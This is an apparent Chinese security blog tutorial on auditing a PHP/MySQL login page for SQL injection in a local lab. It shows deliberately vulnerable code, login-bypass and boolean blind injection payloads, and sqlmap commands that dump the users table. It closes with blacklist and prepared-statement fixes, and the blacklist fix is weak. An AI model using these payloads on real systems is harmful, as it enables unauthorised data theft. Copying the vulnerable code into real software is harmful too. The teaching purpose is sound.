sql注入--代码审计

xiao1star2024-07-12文章来源:SecHub网络安全社区


sql注入–代码审计

mysql基础知识

  • information_schema–是 MySQL 数据库中内置的一个系统数据库(信息数据库),它的作用主要是存储关于整个MySQL实例当中所有数据库、数据表、列、索引、约束、存储过程、函数、触发器等各种元数据信息
  • schemata–是information_schema库下的用于存储数据库信息的一张表,schema_name->库名
  • tables–是information_schema库下的用于存储整个数据库的表信息的一张表,table_name->表名
  • columns–是information_schema库下用于存储整个数据库的字段(属性)的一张表,column_name->字段名
  • union–在SQL中,UNION操作符用于合并两个或多个SELECT语句的结果集,形成一个新的结果集,所有查询的列数必须相同。
  • order by–在sql中用于对某个属性进行升序或降序,在注入中用于判断一个表中有几列

php代码审计

后端代码

<?php $user=$_GET['name']; $password=$_GET['password']; $conn=mysqli_connect('127.0.0.1','test','123456','test'); $sql="select * from users where username='$user' and password='$password'"; $result=mysqli_query($conn,$sql); $row=mysqli_fetch_array($result);//函数从结果集中取得一行作为关联数组,或数字数组,或二者兼有。返回与读取行匹配的字符串数组。如果结果集中没有更多的行则返回 NULL。 if($row==null){ echo "登录失败"; echo '<script>alert("登录失败")</script>'; } else{ echo"登录成功"; echo '<script>alert("登录成功")</script>'; } ?>

前端代码

<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>star</title> </head> <style> h1{ color: red; text-align: center; font-size: 29xp; font-family: 'Franklin Gothic Medium', 'Arial Narrow', Arial, sans-serif; } .form{ text-align: center; background-color: greenyellow; } </style> <body> <h1>登录</h1> <form class="form" action="./login.php" method="get"> 账号:<input type="text" name="name"><br> 密码:<input type="password" name="password"><br> <input type="submit"> </form> <script>alert("欢迎登录")</script> </body> </html>

代码分析

  • 该代码是一个登录页面,通过get方式得到username和password如果$row不为空,就会登录成功
  • 分析$sql中的语句,存在字符型注入
  • 可以知道数据库的名字是test,已经数据库的账号密码

漏洞利用

  • 如果已知用户的账号信息

在登录框的账号中输入如下内容

admin' and 1=1#
' or 1=1#

成功完成闭合登录成功

202407091604416.png

202407091822131.png

发现没有回显位,因此无法进行union联合注入,无法进行报错注入没有mysql_error进行报错的显示

可以通过布尔注入和时间盲注来获取库名和表名

通过布尔盲注,在登录框中输入如下信息来获取test数据库中表的信息

手工爆破
  1. 爆列数
admin' order by 8#
  1. 爆表名
admin' and length((select table_name from information_schema.tables where table_schema='test' limit 0,1))=5;

202407091655823.png

成功得到表的长度

202407091655504.png

使用yakit对表名的每个字母进行ascii码报错

admin' and ascii(SUBSTR((select table_name from information_schema.tables where table_schema='test' limit 0,1),1,1))=117#---表示test库下第一个表名的第一个字母进行爆破
admin' and ascii(SUBSTR((select table_name from information_schema.tables where table_schema='test' limit 0,1),2,1))=117#---表示test库下第一个表名的第二个字母进行爆破

202407091739247.png

得到一个字母是115对应的是s

类似这样对5个字母依次爆破得到表名为users

  1. 爆字段名
admin' and length((select column_name from information_schema.COLUMNS where table_name='users' limit 0,1))=2#---对第一个字段名的长度爆破
admin' and ascii(substr((select column_name from information_schema.COLUMNS where table_name='users' limit 0,1),1,1))=105;--对第一个字段名的第一给字母爆破

最后得到8个字段名分别是id,name,username,password,gender,phone,imageAddress,isadmin

  1. 爆数据
admin' and ascii(substr((select username from users limit 0,1),1,1))=122#---username的第一个数据的第一个字母进行爆破,得到z
admin' and ascii(substr((select username from users limit 0,1),1,1))=104# --username的第一个数据的第二个字母进行爆破得到h

依次爆破即可得到数据库中的所有数据

mysqlmap爆破

1.库名

sqlmap.py -u "http://127.0.0.1:81/login.php?name=admin%27+and+1%3D1%23&password=" --dbs

202407092005751.png

2.表名

python sqlmap.py -u "http://127.0.0.1:81/login.php?name=&password=" -D test --tables --batch

202407092006710.png

3.字段名

python sqlmap.py -u "http://127.0.0.1:81/login.php?name=&password=" -D test -T users -columns --batch

202407091813679.png

4.数据

python sqlmap.py -u "http://127.0.0.1:81/login.php?name=&password=" -D test -T users -C "use
rname,password" --dump --batch

202407091815879.png

漏洞原因

我们后端并没有对前端传过来的参数进行验证,所以导致了恶意sql代码的执行,所以可以通过对例如单引号',反斜杠/,敏感字符or,and等敏感词进行过滤

修复
黑名单白名单
<?php $user=$_GET['name']; $password=$_GET['password']; $conn=mysqli_connect('127.0.0.1','test','123456','test'); // 使用白名单进行输入用户名和密码验证 $whitepattern="/^[a-z\d]*$/i"; // 构造的白名单正则表达式,只允许输入的内容是字符串和数字的组合 $blackpattern="/\*|'|\"|#|;|,|or|\^|=|<|>|and|union|substr/i"; // 构造的黑名单正则表达式 if(preg_match($blackpattern, $user)){ // preg_match:使用正则表达式对字符串进行正则匹配 die('illegal input! 用户名中包含敏感词汇!'); } if(!preg_match($whitepattern, $password)){ die('illegal input! 密码中包含敏感词汇!'); } $sql="select * from users where username='$user' and password='$password'"; $result=mysqli_query($conn,$sql); // var_dump($result); $row=mysqli_fetch_array($result); // var_dump ($row); if($row==null){ echo "登录失败"; echo '<script>alert("登录失败")</script>'; } else{ echo"登录成功"; echo '<script>alert("登录成功")</script>'; } ?>

测试

202407091830347.png

202407091830017.png

预处理

202407091941874.png

<?php if(isset($_GET['name']) && isset($_GET['password'])&& $_GET['name']!='' && $_GET['password']!=''){ $user=$_GET['name']; $password=$_GET['password']; $conn=new mysqli('127.0.0.1','test','123456','test');//创建一个数据库连接对象 $sql="select * from users where username=? and password=?";//?为占位符 $action=$conn->prepare($sql);//进行预处理操作 $action->bind_param("ss",$user,$password);//进行参数绑定,第一个参数表示占位符的个数,s表示字符串,i为×××,d为双精度小数,有几个占位符就写几个 $action->execute();//执行sql操作 $result=$action->get_result(); if($result->num_rows<=0){ echo "登录失败"; echo '<script>alert("登录失败")</script>'; } else{ echo"登录成功"; echo '<script>alert("登录成功")</script>'; } $action->close(); $conn->close(); } else{ echo "用户名或密码不能为空"; } ?>

测试

202407091904853.png

202407091903847.png

使用sqlmap也无法扫出sql注入漏洞

202407091934619.png